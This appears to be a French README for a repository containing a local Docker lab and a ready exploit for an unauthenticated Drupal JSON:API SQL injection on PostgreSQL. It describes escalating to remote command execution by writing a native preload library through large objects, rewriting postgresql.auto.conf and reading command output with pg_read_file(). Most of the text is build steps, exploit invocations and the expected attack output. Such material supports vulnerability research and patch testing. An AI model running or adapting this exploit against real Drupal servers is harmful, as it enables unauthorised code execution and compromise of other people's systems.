
Ce dépôt contient un laboratoire local et un exploit court pour l'injection SQL PostgreSQL JSON:API de Drupal décrite dans l'article d'Ambionics.
La partie importante de l'exploit est l'escalade PostgreSQL : une fois que l'injection peut évaluer une expression SELECT en tant que superutilisateur PostgreSQL, elle écrit une bibliothèque de préchargement native via les objets volumineux, recharge postgresql.auto.conf, déclenche session_preload_libraries et récupère la sortie de commande avec pg_read_file().
L'exploit lit version() en premier et construit le bloc magique du module PostgreSQL pour la version majeure détectée. Il gère les dispositions ABI des modules PostgreSQL 12, 13-14, 15-17 et 18+. Le compilateur local doit toujours produire un objet partagé pour la même architecture CPU que le serveur PostgreSQL cible.
Le laboratoire utilise PostgreSQL 18.4, la dernière version de PostgreSQL au moment de la rédaction. Le chemin d'escalade PostgreSQL a été testé de PostgreSQL 12.20 à PostgreSQL 18.4.
.
├── docker-compose.yml
├── drupal/
│ ├── Dockerfile
│ ├── entrypoint.sh
│ └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md
Le laboratoire utilise :
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
Drupal est connecté à PostgreSQL en tant que superutilisateur postgres, de sorte que l'injection SQL limitée aux SELECT peut être escaladée en RCE.
docker compose version
python3 --version
cc --version
Exemple de sortie :
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
Construire et démarrer les conteneurs :
docker compose build --quiet
docker compose up -d
Sortie attendue :
Container cve9082-pg18 Started
Container cve9082-drupal Started
Attendre que Drupal devienne healthy :
docker compose ps
Sortie attendue :
NAME SERVICE STATUS
cve9082-pg18 db Up ... (healthy)
cve9082-drupal drupal Up ... (healthy)
Le laboratoire écoute sur :
http://127.0.0.1:8089
Vérifier la version de PostgreSQL :
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'
Sortie attendue :
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
Vérifier que JSON:API expose l'article de démonstration :
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'
Sortie attendue :
{
"jsonapi": {
"version": "1.0"
},
"data": [
{
"type": "node--article"
}
]
}
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
Sortie attendue :
Successfully installed requests-...
Exécuter id via l'injection SQL non authentifiée de JSON:API :
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id
Sortie attendue :
[+] checking SQL injection context
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
current_user: postgres superuser=True
data_directory: /var/lib/postgresql/18/docker
module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
1400/14080 bytes
...
14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
__exit=0
[+] restoring/clearing PostgreSQL preload settings
152/152 bytes
Exécuter une autre commande :
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'
Sortie attendue :
[+] reading command output
Linux ... x86_64 GNU/Linux
__exit=0
Arrêter les conteneurs mais conserver le volume de la base de données :
docker compose down
Arrêter les conteneurs et supprimer le volume de la base de données :
docker compose down -v